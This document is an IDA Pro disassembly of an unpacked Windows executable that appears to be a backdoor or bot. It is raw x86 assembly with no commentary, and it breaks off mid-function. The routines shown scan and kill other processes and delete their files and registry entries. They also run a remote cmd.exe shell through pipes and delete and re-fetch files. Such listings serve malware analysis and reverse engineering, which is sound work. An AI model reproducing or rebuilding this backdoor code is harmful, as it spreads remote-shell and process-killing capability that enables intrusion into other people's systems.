;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	5071EF624C2DE7B595794E1CFE211DB4

; File Name   :	u:\work\5071ef624c2de7b595794e1cfe211db4_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0001B000 ( 110592.)
; Section size in file		: 0001B000 ( 110592.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_packed		segment	para public 'CODE' use32
		assume cs:_packed
		;org 401000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_40110A+30p
					; sub_40110A+3Ep ...

var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= byte ptr -58h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 260h
		push	ebx
		xor	ebx, ebx
		cmp	off_413000, ebx
		mov	[ebp+var_C], ebx
		jz	loc_401104
		push	esi
		mov	eax, offset off_413000
		push	edi
		mov	edi, dword_412008
		mov	[ebp+var_18], eax
		mov	esi, 104h

loc_401030:				; CODE XREF: sub_401000+FCj
		push	dword ptr [eax]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40B5E1
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		push	3
		lea	eax, [ebp+var_58]
		push	ebx
		push	eax
		push	[ebp+arg_0]
		call	dword_412000
		lea	eax, [ebp+var_4]
		mov	[ebp+var_10], ebx
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_260]
		mov	[ebp+var_14], esi
		push	eax
		mov	[ebp+var_4], esi
		push	ebx

loc_401080:				; CODE XREF: sub_401000+E6j
		push	[ebp+var_8]
		call	edi
		test	eax, eax
		jnz	short loc_4010E8
		cmp	[ebp+var_1C], 1
		jnz	short loc_4010BF
		push	[ebp+arg_4]
		lea	eax, [ebp+var_15C]
		push	[ebp+var_4]
		push	eax
		call	sub_405A0D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4010BF
		lea	eax, [ebp+var_260]
		push	eax
		push	[ebp+var_8]
		call	dword_412004
		test	eax, eax
		jnz	short loc_4010BF
		inc	[ebp+var_C]

loc_4010BF:				; CODE XREF: sub_401000+8Dj
					; sub_401000+A6j ...
		lea	eax, [ebp+var_4]
		inc	[ebp+var_10]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_260]
		mov	[ebp+var_14], esi
		push	eax
		mov	[ebp+var_4], esi
		push	[ebp+var_10]
		jmp	short loc_401080
; ---------------------------------------------------------------------------

loc_4010E8:				; CODE XREF: sub_401000+87j
		push	[ebp+var_8]
		call	dword_412028
		mov	eax, [ebp+var_18]
		add	eax, 4
		mov	[ebp+var_18], eax
		cmp	[eax], ebx
		jnz	loc_401030
		pop	edi
		pop	esi

loc_401104:				; CODE XREF: sub_401000+15j
		mov	eax, [ebp+var_C]
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40110A	proc near		; CODE XREF: sub_4011C4+23Bp
					; sub_407A76+68Ep

var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	80h
		push	esi
		call	dword_4120B0	; SetFileAttributesA
		test	eax, eax
		jz	loc_4011BF
		push	esi
		call	dword_4120B8	; DeleteFileA
		push	esi
		push	80000001h
		call	sub_401000
		mov	ebx, 80000002h
		push	esi
		push	ebx
		mov	edi, eax
		call	sub_401000
		add	esp, 10h
		add	eax, edi
		jnz	short loc_4011BF
		mov	edi, 104h
		lea	eax, [ebp+var_104]
		push	edi
		push	esi
		push	eax
		call	sub_4059C2
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 10h
		test	eax, eax
		jz	short loc_40119E

loc_40117A:				; CODE XREF: sub_40110A+78j
		cmp	byte ptr [esi+eax-1], 5Ch
		jz	short loc_401186
		dec	eax
		jnz	short loc_40117A
		jmp	short loc_40119E
; ---------------------------------------------------------------------------

loc_401186:				; CODE XREF: sub_40110A+75j
		lea	eax, [ebp+eax+var_104]
		push	edi
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4059C2
		add	esp, 0Ch

loc_40119E:				; CODE XREF: sub_40110A+6Ej
					; sub_40110A+7Aj
		lea	eax, [ebp+var_104]
		push	eax
		push	80000001h
		call	sub_401000
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	sub_401000
		add	esp, 10h

loc_4011BF:				; CODE XREF: sub_40110A+1Dj
					; sub_40110A+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40110A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4011C4	proc near		; DATA XREF: sub_4014B0+74o

var_3D0		= byte ptr -3D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_2C7		= dword	ptr -2C7h
var_2C3		= byte ptr -2C3h
var_2C2		= byte ptr -2C2h
var_1C3		= byte ptr -1C3h
var_2B		= byte ptr -2Bh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D0h
		push	2ACh
		lea	eax, [ebp+var_2CC]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		cmp	[ebp+var_2C8], 0
		jz	short loc_401218
		lea	eax, [ebp+var_2C3]
		push	eax
		mov	eax, [ebp+var_2CC]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1C3]
		push	offset dword_413144
		push	eax
		call	sub_4096CB
		add	esp, 10h

loc_401218:				; CODE XREF: sub_4011C4+2Fj
		push	ebx
		push	esi
		call	sub_404639
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_40149C
		push	edi
		push	10000h
		call	sub_4114C4	; malloc
		cmp	[esi], ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		mov	[ebp+var_8], ebx
		mov	[ebp+var_10], ebx
		jle	loc_40143E
		xor	edi, edi

loc_40124A:				; CODE XREF: sub_4011C4+269j
		call	dword_4120F0
		mov	ecx, [esi+4]
		cmp	[edi+ecx], eax
		jz	loc_40141F
		lea	eax, [ebp+var_3D0]
		push	104h
		push	eax
		push	ebx
		call	dword_412094	; GetModuleHandleA
		push	eax
		call	dword_412098	; GetModuleFileNameA
		mov	eax, [esi+4]
		lea	eax, [edi+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_3D0]
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40141F
		mov	eax, [esi+4]
		push	dword ptr [edi+eax]
		mov	al, [ebp+var_2C8]
		neg	al
		sbb	eax, eax
		push	ebx
		add	eax, 11h
		push	eax
		call	dword_41209C	; OpenProcess
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	loc_40141F
		xor	edx, edx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_20], edx

loc_4012C2:				; CODE XREF: sub_4011C4+1DAj
		mov	eax, [esi+4]
		mov	[ebp+var_18], 10000h
		add	eax, edi
		mov	ecx, [eax+8]
		sub	ecx, edx
		cmp	ecx, 10000h
		ja	short loc_4012DE
		mov	[ebp+var_18], ecx

loc_4012DE:				; CODE XREF: sub_4011C4+115j
		mov	eax, [eax+4]
		lea	ecx, [ebp+var_C]
		push	ecx
		add	eax, edx
		push	[ebp+var_18]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_4]
		call	dword_4120A0	; ReadProcessMemory
		test	eax, eax
		jz	loc_40138A
		cmp	[ebp+var_C], ebx
		jz	loc_40138A
		xor	ecx, ecx

loc_40130A:				; CODE XREF: sub_4011C4+1B9j
		mov	eax, [ebp+arg_0]
		mov	al, [ecx+eax]
		cmp	al, [ebp+var_2C3]
		jz	short loc_401330
		movsx	edx, al
		movsx	eax, [ebp+var_2C3]
		lea	ebx, [eax+20h]
		cmp	edx, ebx
		jz	short loc_401330
		add	eax, 0FFFFFFE0h
		cmp	edx, eax
		jnz	short loc_401371

loc_401330:				; CODE XREF: sub_4011C4+152j
					; sub_4011C4+163j
		lea	eax, [ebp+var_2C2]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_0]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_1C], eax

loc_401343:				; CODE XREF: sub_4011C4+1ABj
		mov	eax, [ebp+var_14]
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_401381
		mov	eax, [ebp+var_1C]
		mov	al, [eax]
		cmp	dl, al
		jz	short loc_401369
		movsx	eax, al
		movsx	edx, dl
		lea	ebx, [eax+20h]
		cmp	edx, ebx
		jz	short loc_401369
		add	eax, 0FFFFFFE0h
		cmp	edx, eax
		jnz	short loc_401371

loc_401369:				; CODE XREF: sub_4011C4+18Fj
					; sub_4011C4+19Cj
		inc	[ebp+var_1C]
		inc	[ebp+var_14]
		jmp	short loc_401343
; ---------------------------------------------------------------------------

loc_401371:				; CODE XREF: sub_4011C4+16Aj
					; sub_4011C4+1A3j
		mov	eax, [ebp+var_C]
		inc	ecx
		sub	eax, [ebp+var_2C7]
		cmp	ecx, eax
		jbe	short loc_40130A
		jmp	short loc_40138A
; ---------------------------------------------------------------------------

loc_401381:				; CODE XREF: sub_4011C4+186j
		mov	eax, [ebp+arg_0]
		add	ecx, eax
		test	ecx, ecx
		jnz	short loc_4013A3

loc_40138A:				; CODE XREF: sub_4011C4+135j
					; sub_4011C4+13Ej ...
		mov	edx, [ebp+var_20]
		mov	eax, [esi+4]
		add	edx, [ebp+var_18]
		cmp	edx, [edi+eax+8]
		mov	[ebp+var_20], edx
		jz	short loc_401414
		xor	ebx, ebx
		jmp	loc_4012C2
; ---------------------------------------------------------------------------

loc_4013A3:				; CODE XREF: sub_4011C4+1C4j
		inc	[ebp+var_8]
		cmp	[ebp+var_2C8], 0
		jz	short loc_4013EC
		push	3E8h
		call	dword_4120A4	; Sleep
		mov	bl, [ebp+var_2B]
		and	[ebp+var_2B], 0
		mov	eax, [esi+4]
		add	eax, edi
		push	dword ptr [eax]
		add	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_2C3]
		push	eax
		lea	eax, [ebp+var_1C3]
		push	offset dword_41311C
		push	eax
		call	sub_4096CB
		add	esp, 14h
		mov	[ebp+var_2B], bl
		jmp	short loc_401405
; ---------------------------------------------------------------------------

loc_4013EC:				; CODE XREF: sub_4011C4+1E9j
		push	0
		push	[ebp+var_4]
		call	dword_4120A8	; TerminateProcess
		mov	eax, [esi+4]
		lea	eax, [edi+eax+0Ch]
		push	eax
		call	sub_40110A
		pop	ecx

loc_401405:				; CODE XREF: sub_4011C4+226j
		mov	eax, [ebp+var_2CC]
		xor	ebx, ebx
		cmp	[eax+4], ebx
		jnz	short loc_401435
		jmp	short loc_401416
; ---------------------------------------------------------------------------

loc_401414:				; CODE XREF: sub_4011C4+1D6j
		xor	ebx, ebx

loc_401416:				; CODE XREF: sub_4011C4+24Ej
		push	[ebp+var_4]
		call	dword_4120AC	; CloseHandle

loc_40141F:				; CODE XREF: sub_4011C4+92j
					; sub_4011C4+CAj ...
		inc	[ebp+var_10]
		add	edi, 114h
		mov	eax, [ebp+var_10]
		cmp	eax, [esi]
		jl	loc_40124A
		jmp	short loc_40143E
; ---------------------------------------------------------------------------

loc_401435:				; CODE XREF: sub_4011C4+24Cj
		push	[ebp+var_4]
		call	dword_4120AC	; CloseHandle

loc_40143E:				; CODE XREF: sub_4011C4+7Ej
					; sub_4011C4+26Fj
		push	esi
		call	sub_404854
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		cmp	[ebp+var_2C8], 0
		pop	ecx
		pop	ecx
		pop	edi
		jz	short loc_40149C
		push	3E8h
		call	dword_4120A4	; Sleep
		cmp	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C3]
		push	eax
		jnz	short loc_401485
		lea	eax, [ebp+var_1C3]
		push	offset dword_4130F8
		push	eax
		call	sub_4096CB
		add	esp, 0Ch
		jmp	short loc_40149C
; ---------------------------------------------------------------------------

loc_401485:				; CODE XREF: sub_4011C4+2A9j
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C3]
		push	offset dword_4130CC
		push	eax

loc_401494:				; DATA XREF: .packed:off_415DACo
		call	sub_4096CB
		add	esp, 10h

loc_40149C:				; CODE XREF: sub_4011C4+61j
					; sub_4011C4+292j ...
		push	[ebp+var_2CC]
		call	sub_406E6F
		pop	ecx
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4011C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4014B0	proc near		; CODE XREF: sub_407A76+6AFp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_401531
		push	edi
		call	sub_4114BE	; strlen
		test	eax, eax
		pop	ecx
		jz	short loc_401531
		push	2ACh
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_401531
		push	ebx
		mov	bl, [esp+0Ch+arg_8]
		push	edi
		mov	[esi+4], bl
		call	sub_4114BE	; strlen
		mov	[esi+5], eax
		mov	[esp+10h+var_10], 100h
		lea	eax, [esi+9]
		push	edi
		push	eax
		call	sub_4114D6	; strncpy
		push	[esp+18h+arg_0]
		lea	eax, [esi+109h]
		push	eax
		call	sub_40457C
		add	esp, 14h
		mov	eax, offset aListing ; "Listing"
		test	bl, bl
		pop	ebx
		jnz	short loc_40151A
		mov	eax, offset aKilling ; "Killing"

loc_40151A:				; CODE XREF: sub_4014B0+63j
		push	edi
		push	eax
		push	offset dword_413174
		push	0
		push	esi
		push	offset sub_4011C4
		call	sub_406D58
		add	esp, 18h

loc_401531:				; CODE XREF: sub_4014B0+8j
					; sub_4014B0+13j ...
		pop	edi
		pop	esi
		retn
sub_4014B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401534	proc near		; CODE XREF: sub_401621:loc_40188Dp
		mov	eax, dword_4191C4
		push	esi
		mov	esi, dword_4120AC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401548
		push	eax
		call	esi	; CloseHandle

loc_401548:				; CODE XREF: sub_401534+Fj
		mov	eax, dword_4191B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401555
		push	eax
		call	esi	; CloseHandle

loc_401555:				; CODE XREF: sub_401534+1Cj
		mov	eax, dword_4191BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401562
		push	eax
		call	esi	; CloseHandle

loc_401562:				; CODE XREF: sub_401534+29j
		mov	eax, dword_4191C0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40156F
		push	eax
		call	esi	; CloseHandle

loc_40156F:				; CODE XREF: sub_401534+36j
		pop	esi
		retn
sub_401534	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401571	proc near		; CODE XREF: sub_401621+228p
					; sub_401621+252p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+189h], 0
		jnz	short loc_401590
		cmp	byte ptr [esi+18Dh], 0
		jz	short loc_4015CE

loc_401590:				; CODE XREF: sub_401571+14j
					; sub_401571+49j ...
		push	32h
		call	dword_4120A4	; Sleep
		cmp	byte ptr [esi+189h], 0
		jz	short loc_4015B3
		call	sub_4114E2	; clock
		sub	eax, dword_4191CC
		cmp	eax, 1F4h
		jnb	short loc_4015CE

loc_4015B3:				; CODE XREF: sub_401571+2Ej
		cmp	byte ptr [esi+18Dh], 0
		jz	short loc_401590
		call	sub_4114E2	; clock
		sub	eax, dword_4191CC
		cmp	eax, 0FAh
		jb	short loc_401590

loc_4015CE:				; CODE XREF: sub_401571+1Dj
					; sub_401571+40j
		call	sub_4114E2	; clock
		mov	ecx, [ebp+arg_4]
		mov	dword_4191CC, eax
		mov	al, [ecx]
		cmp	al, 0Ah
		jz	short loc_4015FC
		cmp	al, 0Dh
		jz	short loc_4015FC
		push	200h
		lea	eax, [ebp+var_200]
		push	ecx
		push	eax
		call	sub_4059C2
		add	esp, 0Ch
		jmp	short loc_40160F
; ---------------------------------------------------------------------------

loc_4015FC:				; CODE XREF: sub_401571+6Ej
					; sub_401571+72j
		lea	eax, [ebp+var_200]
		push	offset dword_4131A4
		push	eax
		call	sub_4114DC	; sprintf
		pop	ecx
		pop	ecx

loc_40160F:				; CODE XREF: sub_401571+89j
		lea	eax, [ebp+var_200]
		push	eax
		push	esi
		call	sub_4096CB
		pop	ecx
		pop	ecx
		pop	esi
		leave
		retn
sub_401571	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401621	proc near		; DATA XREF: sub_4018D5+73o

var_724		= byte ptr -724h
var_620		= byte ptr -620h
var_420		= dword	ptr -420h
var_21C		= byte ptr -21Ch
var_78		= dword	ptr -78h
var_4C		= dword	ptr -4Ch
var_48		= word ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 724h
		push	ebx
		push	esi
		push	edi
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		call	sub_4114E2	; clock
		sub	eax, 1F4h
		xor	esi, esi
		mov	dword_4191CC, eax
		lea	eax, [ebp+var_724]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_412074	; SearchPathA
		test	eax, eax
		jz	loc_401892
		push	1
		lea	eax, [ebp+var_20]
		pop	ebx
		mov	edi, dword_412078
		push	esi
		push	eax
		lea	eax, [ebp+var_10]
		mov	[ebp+var_20], 0Ch
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	[ebp+var_18], ebx
		mov	[ebp+var_1C], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40188D
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40188D
		mov	edi, dword_4120F8
		push	3
		push	esi
		push	esi
		push	offset dword_4191C0
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		call	dword_412080	; DuplicateHandle
		test	eax, eax
		jz	loc_40188D
		push	10h
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		call	sub_4114E8	; memset
		push	44h
		lea	eax, [ebp+var_78]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_4114E8	; memset
		mov	eax, [ebp+var_C]
		add	esp, 18h
		mov	[ebp+var_40], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_34]
		mov	[ebp+var_78], edi
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		push	esi
		lea	eax, [ebp+var_724]
		push	offset byte_4191D0
		push	eax
		mov	[ebp+var_4C], 101h
		mov	[ebp+var_48], si
		call	dword_412084	; CreateProcessA
		test	eax, eax
		jz	loc_40188D
		push	[ebp+var_C]
		mov	edi, dword_4120AC
		call	edi	; CloseHandle
		mov	eax, [ebp+var_14]
		push	[ebp+var_30]
		mov	dword_4191C4, eax
		mov	eax, [ebp+var_8]
		mov	dword_4191B8, eax
		mov	eax, [ebp+var_34]
		mov	dword_4191BC, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+var_420]
		mov	[ebp+var_4], esi
		cmp	[eax+4], esi
		jnz	loc_40188D
		mov	edi, 200h
		mov	ebx, 103h

loc_40178F:				; CODE XREF: sub_401621+238j
		push	edi
		lea	eax, [ebp+var_620]
		push	esi
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	esi
		push	eax
		lea	eax, [ebp+var_620]
		push	edi
		push	eax
		push	dword_4191C4
		call	dword_412088	; PeekNamedPipe
		test	eax, eax
		jz	loc_401867
		cmp	[ebp+var_4], esi
		jnz	short loc_4017F1
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], ebx
		push	eax
		push	dword_4191BC
		call	dword_41208C	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_4017E7
		cmp	[ebp+arg_0], ebx
		jnz	loc_40187A

loc_4017E7:				; CODE XREF: sub_401621+1BBj
		push	0Ah
		call	dword_4120A4	; Sleep
		jmp	short loc_401850
; ---------------------------------------------------------------------------

loc_4017F1:				; CODE XREF: sub_401621+1A4j
		xor	eax, eax
		cmp	[ebp+var_4], esi
		jbe	short loc_401808

loc_4017F8:				; CODE XREF: sub_401621+1E5j
		cmp	[ebp+eax+var_620], 0Ah
		jz	short loc_401861
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_4017F8

loc_401808:				; CODE XREF: sub_401621+1D5j
		mov	[ebp+var_4], edi

loc_40180B:				; CODE XREF: sub_401621+244j
		push	edi
		lea	eax, [ebp+var_620]
		push	esi
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_620]
		push	eax
		push	dword_4191C4
		call	dword_412090	; ReadFile
		test	eax, eax
		jz	short loc_40188D
		lea	eax, [ebp+var_620]
		push	eax
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_401571
		pop	ecx
		pop	ecx

loc_401850:				; CODE XREF: sub_401621+1CEj
		mov	eax, [ebp+var_420]
		cmp	[eax+4], esi
		jz	loc_40178F
		jmp	short loc_40188D
; ---------------------------------------------------------------------------

loc_401861:				; CODE XREF: sub_401621+1DFj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40180B
; ---------------------------------------------------------------------------

loc_401867:				; CODE XREF: sub_401621+19Bj
		lea	eax, [ebp+var_21C]
		push	offset aCouldNotReadDa ; "Could	not read data from process."
		push	eax
		call	sub_401571
		jmp	short loc_40188B
; ---------------------------------------------------------------------------

loc_40187A:				; CODE XREF: sub_401621+1C0j
		lea	eax, [ebp+var_21C]
		push	offset aCmd_exeProcess ; "Cmd.exe process has terminated."
		push	eax
		call	sub_4096CB

loc_40188B:				; CODE XREF: sub_401621+257j
		pop	ecx
		pop	ecx

loc_40188D:				; CODE XREF: sub_401621+85j
					; sub_401621+9Cj ...
		call	sub_401534

loc_401892:				; CODE XREF: sub_401621+58j
		push	[ebp+var_420]
		call	sub_406E6F
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_401621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018A7	proc near		; CODE XREF: sub_4018D5+90p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_4114BE	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4191C0
		call	dword_412070	; WriteFile
		neg	eax
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_4018A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018D5	proc near		; CODE XREF: sub_407A76+12B3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	[eax+198h], bl
		push	edi
		jz	short loc_401905
		cmp	[ebp+arg_4], ebx
		jz	loc_401980
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_4]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4121E4
		jmp	short loc_401980
; ---------------------------------------------------------------------------

loc_401905:				; CODE XREF: sub_4018D5+11j
		push	3A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	short loc_401980
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		jz	short loc_40192F
		push	200h
		lea	eax, [esi+4]
		push	edi
		push	eax
		call	sub_4059C2
		add	esp, 0Ch

loc_40192F:				; CODE XREF: sub_4018D5+46j
		push	[ebp+arg_0]
		lea	eax, [esi+204h]
		push	eax
		call	sub_40457C
		pop	ecx
		pop	ecx
		push	offset aRemoteCmdThrea ; "Remote cmd thread"
		push	1
		push	esi
		push	offset sub_401621
		call	sub_406D58
		add	esp, 10h
		cmp	edi, ebx
		jz	short loc_401980
		push	offset asc_413214 ; "\r\n"
		push	edi
		call	sub_4114EE	; _mbscat
		push	edi
		call	sub_4018A7
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_401980
		push	offset aErrorWhileExec ; "Error	while executing	command."
		push	[ebp+arg_0]
		call	sub_4096CB
		pop	ecx
		pop	ecx

loc_401980:				; CODE XREF: sub_4018D5+16j
					; sub_4018D5+2Ej ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4018D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401985	proc near		; DATA XREF: sub_401EA8+E9o

var_604		= qword	ptr -604h
var_5FC		= qword	ptr -5FCh
var_5E8		= byte ptr -5E8h
var_3E8		= dword	ptr -3E8h
var_3E4		= byte ptr -3E4h
var_3C3		= byte ptr -3C3h
var_2BF		= byte ptr -2BFh
var_1BF		= byte ptr -1BFh
var_1B5		= byte ptr -1B5h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5E8h
		push	esi
		push	3D6h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3E8]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		lea	eax, [ebp+var_3C3]
		push	eax
		call	dword_4120B8	; DeleteFileA
		lea	eax, [ebp+var_3C3]
		push	offset dword_4132AC
		push	eax
		call	sub_411506	; fopen
		xor	esi, esi
		pop	ecx
		cmp	eax, esi
		pop	ecx
		mov	[ebp+var_10], eax
		jnz	short loc_4019E4
		push	[ebp+var_3E8]
		call	sub_406E6F
		jmp	short loc_401A1B
; ---------------------------------------------------------------------------

loc_4019E4:				; CODE XREF: sub_401985+50j
		push	2710h
		lea	eax, [ebp+var_1BF]
		push	esi
		push	eax
		lea	eax, [ebp+var_2BF]
		push	eax
		call	sub_403C04
		add	esp, 10h
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jnz	short loc_401A23
		push	[ebp+var_10]
		call	sub_411500	; fclose
		push	[ebp+var_3E8]
		call	sub_406E6F
		pop	ecx

loc_401A1B:				; CODE XREF: sub_401985+5Dj
		pop	ecx
		xor	eax, eax
		jmp	loc_401B7C
; ---------------------------------------------------------------------------

loc_401A23:				; CODE XREF: sub_401985+80j
		push	ebx
		lea	eax, [ebp+var_3E4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C3]
		push	eax
		mov	eax, [ebp+var_3E8]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1B5]
		push	offset dword_413280
		push	eax
